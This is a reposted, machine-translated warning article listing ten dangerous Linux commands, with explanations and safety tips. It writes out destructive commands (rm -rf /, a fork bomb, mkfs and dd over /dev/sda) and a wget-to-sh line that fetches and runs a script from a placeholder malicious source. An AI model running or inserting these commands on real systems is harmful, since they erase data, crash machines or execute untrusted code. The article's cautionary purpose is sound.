Where does Linux improve training? 10 Dangerous instructions for Linux

Source: Internet
Author: User
Tags parent directory

The XXX teacher will introduce you to 10 commands in this article, but you'd better not "try" to use them. Of course, the following commands are usually under root authority to be foolish to play to the incurable, under the ordinary user identity, the destruction of their own acres of three points.

    1. RM-RF command

The RM-RF command is one of the quickest ways to delete a folder and its contents.

Just the slightest mistake or ignorance can lead to an unrecoverable system collapsing.

The following are the options for some RM commands:

· The RM command is usually used to delete files under Linux.

· The RM-R command recursively deletes folders, even empty folders.

· The rm-f command removes the ' read-only file ' directly without asking. Deleting a file under Linux does not care whether the file is read-only, but whether the parent directory has write permissions. Therefore, the-f parameter simply means that you do not have to delete the confirmation, but delete it silently. In addition, the original RM command is not a delete prompt, but the general distribution will be the RM through the alias of the way to increase the-I parameter to require deletion of confirmation, and-f suppresses the hint.

· RM-RF/: Force Delete all the stuff under the root directory.

· RM-RF *: Forces all files in the current directory to be deleted.

· Rm-rf. : Forces the current folder and its subfolders to be deleted.

From now on, be careful when you want to execute the RM-RF command. We can create an rm-i alias for the ' RM ' command on the ". BASHRC" file to prevent an incident when deleting a file with the ' RM ' command, which will ask you to confirm each deletion request.

Most distributions have already done so, if not, please do so, and be sure to consider what you are doing before using the-f parameter! The translator himself has a lesson in blood and tears.

    1. :() {: |:&};: Command

This is an example of a forkxxx.

The operation is done by defining a function called ': ', which calls itself two times, one time in the foreground and another run in the background. It will execute repeatedly until the system crashes.

    1. Commands >/DEV/SDA

This command writes the output of a ' command ' to the block device/DEV/SDA.

This replaces all blocks of data in the block device with the original data written by the command, resulting in data loss for the entire block device.

    1. MV Folder/dev/null

This command will move a ' folder ' to/dev/null.

In Linux, the/dev/null or null device is a special file, and all data written to it is purged and then returned to the write operation successfully.

Of course, to illustrate that this command does not prevent data recovery software-so the real total destruction, need to use a dedicated software or techniques to complete.

    1. wget http://malicious_source-o-| Sh

The command downloads a script and executes from a malicious source (perhaps a).

The wget command will download the script, and SH will (unconditionally) execute the downloaded script.

Note: You should always pay attention to the source of your download package or script. You can only download scripts/programs from trusted sources using those.

    1. Mkfs.ext3/dev/sda

The above command will format the block device ' SDA ', and after executing this command your block device (hard drive) will be formatted, directly allowing your system to reach an unrecoverable stage.

Typically, we do not use devices such as/DEV/SDA directly, unless they are used as raw devices.

It is generally necessary to divide SDA into partitions such as SDA1, Sda2, and so on. Of course, whether you're using SDA or SDA1, it's devastating to mkfs a block device or partition, and the data will evaporate.

    1. > File

This command is often used to empty the contents of a file or to record command output.

However, before executing, make sure the output file is empty or not, otherwise the original file can really not recover-even the data recovery software may not be able to help you.

You might really want to use ">>", which is to add new output to a file instead of refreshing the file.

If you enter an error or an ignorant input like "> xt.conf" on the above command, the configuration file or any other system configuration file will be overwritten.

    1. ^foo^bar

This command is used to edit previously run commands without having to re-play the entire command.

When using the Foobar command, if you do not thoroughly check the risk of altering the original command, this can lead to real trouble.

    1. DD If=/dev/random OF=/DEV/SDA

This command will write random junk files to the block device SDA to erase the data, allowing your system to get into a chaotic and unrecoverable state.

Remember saying that MV to a black hole doesn't completely erase the data? Then this command is to give you a thorough removal of the method! Of course, for the sake of insurance, you can overwrite it many times.

    1. Hide command

The following command is actually the first command above (RM-RF).

The code here is hidden in hex, an ignorant user may be fooled, if running the following command in the terminal may erase your root partition.

The real danger is hidden and will not be easily detected. You must always be mindful of what you are doing. Remember, never compile/run code from an unknown source.

Where does Linux improve training? 10 Dangerous instructions for Linux

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.